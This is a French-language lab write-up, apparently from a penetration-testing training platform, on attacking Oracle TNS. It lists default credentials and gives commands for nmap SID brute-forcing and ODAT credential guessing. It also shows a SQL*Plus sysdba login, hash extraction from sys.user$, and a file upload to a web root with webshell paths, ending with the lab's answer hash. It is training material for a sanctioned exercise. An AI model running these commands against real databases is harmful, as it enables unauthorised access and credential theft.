Oracle TNS (Transparent Network Substrate)
✨ Introduction
Oracle TNS (Transparent Network Substrate) est un protocole de communication d'Oracle qui permet la communication entre les bases de données Oracle et les applications clientes, quel que soit le protocole réseau sous-jacent. Il est conçu pour fonctionner sur divers protocoles tels que TCP/IP, IPX/SPX ou encore AppleTalk. À travers Oracle Net Services, il permet la résolution de nom, la gestion des connexions, l'équilibrage de charge et la sécurité.
TNS est utilisé dans les secteurs exigeants comme la finance, la santé ou la vente au détail, grâce à ses capacités de chiffrement intégrées et son support des technologies modernes comme IPv6 et SSL/TLS.
🔧 Configuration par défaut
Port par défaut : TCP/1521
Fichiers de configuration :
tnsnames.ora
(client)listener.ora
(serveur)
Chemin typique :
$ORACLE_HOME/network/admin
Gestion à distance activée par défaut dans Oracle 8i/9i, désactivée dans Oracle 10g/11g
Exemple tnsnames.ora
tnsnames.ora
ORCL =
(DESCRIPTION =
(ADDRESS_LIST =
(ADDRESS = (PROTOCOL = TCP)(HOST = <IP CIBLE>)(PORT = 1521))
)
(CONNECT_DATA =
(SERVER = DEDICATED)
(SERVICE_NAME = orcl)
)
)
Exemple listener.ora
listener.ora
SID_LIST_LISTENER =
(SID_LIST =
(SID_DESC =
(SID_NAME = PDB1)
(ORACLE_HOME = C:\\oracle\\product\\19.0.0\\dbhome_1)
(GLOBAL_DBNAME = PDB1)
)
)
LISTENER =
(DESCRIPTION_LIST =
(DESCRIPTION =
(ADDRESS = (PROTOCOL = TCP)(HOST = orcl.inlanefreight.htb)(PORT = 1521))
(ADDRESS = (PROTOCOL = IPC)(KEY = EXTPROC1521))
)
)
🚫 Paramètres sensibles
SERVICE_NAME
Nom du service ciblé
HOST
Adresse IP ou FQDN du serveur Oracle
PORT
Port d'écoute (par défaut 1521)
SERVER
Type de serveur : DEDICATED
ou SHARED
USER
/ PASSWORD
Identifiants pour l’authentification
SSL_VERSION
Version SSL/TLS utilisée
TRACE_LEVEL
/ LOG_FILE
Options de trace/logging
🔒 Des mots de passe par défaut peuvent être présents :
SYS
/CHANGE_ON_INSTALL
DBSNMP
/dbsnmp
Oracle 10g n'a pas de mot de passe par défaut, mais les comptes peuvent être présents et inactifs.
🧪 Installation d’ODAT & SQL*Plus (Pwnbox)
wget https://download.oracle.com/.../instantclient-basic-linux.x64-21.4.0.0.0dbru.zip
wget https://download.oracle.com/.../instantclient-sqlplus-linux.x64-21.4.0.0.0dbru.zip
sudo mkdir -p /opt/oracle
sudo unzip -d /opt/oracle instantclient*.zip
export LD_LIBRARY_PATH=/opt/oracle/instantclient_21_4:$LD_LIBRARY_PATH
export PATH=$LD_LIBRARY_PATH:$PATH
# ODAT (Oracle Database Attacking Tool)
git clone https://github.com/quentinhardy/odat.git
cd odat/
pip3 install -r requirements.txt
Test ODAT
./odat.py -h
🔮 Enumeration avec Nmap
sudo nmap -p1521 -sV <IP CIBLE> --open
Sortie possible :
PORT STATE SERVICE VERSION
1521/tcp open oracle-tns Oracle TNS listener 11.2.0.2.0 (unauthorized)
Brute-force des SID
sudo nmap -p1521 -sV <IP CIBLE> --script oracle-sid-brute
Sortie : XE
🧐 Exploitation avec ODAT
./odat.py all -s <IP CIBLE>
Crédentials trouvés : scott/tiger
✅ Connexion avec SQL*Plus
sqlplus scott/tiger@<IP CIBLE>/XE
Commandes utiles
select table_name from all_tables;
select * from user_role_privs;
Connexion en tant que SYSDBA
sqlplus scott/tiger@<IP CIBLE>/XE as sysdba
Extraction des hash
select name, password from sys.user$;
💾 Upload de fichiers
echo "Oracle File Upload Test" > testing.txt
./odat.py utlfile -s <IP CIBLE> -d XE -U scott -P tiger --sysdba --putFile C:\\inetpub\\wwwroot testing.txt ./testing.txt
Vérification :
curl -X GET http://<IP CIBLE>/testing.txt
🔗 Chemins courants pour webshells
Linux
/var/www/html
Windows
C:\inetpub\wwwroot
📚 Ressources utiles
Enumerate the target Oracle database and submit the password hash of the user DBSNMP as the answer.
Afin de configurer notre machine à ce challenge, nous exécutons les commandes suivantes :
wget https://download.oracle.com/otn_software/linux/instantclient/214000/instantclient-basic-linux.x64-21.4.0.0.0dbru.zip
wget https://download.oracle.com/otn_software/linux/instantclient/214000/instantclient-sqlplus-linux.x64-21.4.0.0.0dbru.zip
sudo mkdir -p /opt/oracle
sudo unzip -d /opt/oracle instantclient-basic-linux.x64-21.4.0.0.0dbru.zip
sudo unzip -d /opt/oracle instantclient-sqlplus-linux.x64-21.4.0.0.0dbru.zip
export LD_LIBRARY_PATH=/opt/oracle/instantclient_21_4:$LD_LIBRARY_PATH
export PATH=$LD_LIBRARY_PATH:$PATH
source ~/.bashrc
cd ~
git clone https://github.com/quentinhardy/odat.git
cd odat/
pip install python-libnmap
git submodule init
git submodule update
pip3 install cx_Oracle
sudo apt-get install python3-scapy -y
sudo pip3 install colorlog termcolor passlib python-libnmap
sudo apt-get install build-essential libgmp-dev -y
pip3 install pycryptodome
Voici la commande executée une fois ceci fait :
$ odat.py all -s 10.129.205.19
L'utilisation de cette commande nous permets d'obtenir ceci :
[+] Valid credentials found: scott/tiger.
Nous allons maintenant utiliser ces identifiants afin de nous connecter via sqlplus
:
$ sqlplus scott/tiger@10.xx.xx.xx/XE as sysdba
Une fois connectés, nous pouvons lister les utilisateurs et les mots de passe associés concernant l'utilisateur DBSNMP :
$ sqlplus scott/tiger@10.129.205.19/XE as sysdba
Connected to:
Oracle Database 11g Express Edition Release 11.2.0.2.0 - 64bit Production
SQL> select name, password from sys.user$;
NAME PASSWORD
------------------------------ ------------------------------
ORACLE_OCM 5A2E026A9157958C
RECOVERY_CATALOG_OWNER
SCHEDULER_ADMIN
HS_ADMIN_SELECT_ROLE
HS_ADMIN_EXECUTE_ROLE
HS_ADMIN_ROLE
OEM_ADVISOR
OEM_MONITOR
DBSNMP E066D214D5421CCC
APPQOSSYS 519D632B7EE7F63A
Nous pouvons maintenant obtenir le hash associé au mot de passe de l'utilisateur DBSNMP qui est E066D214D5421CCC
.
Mis à jour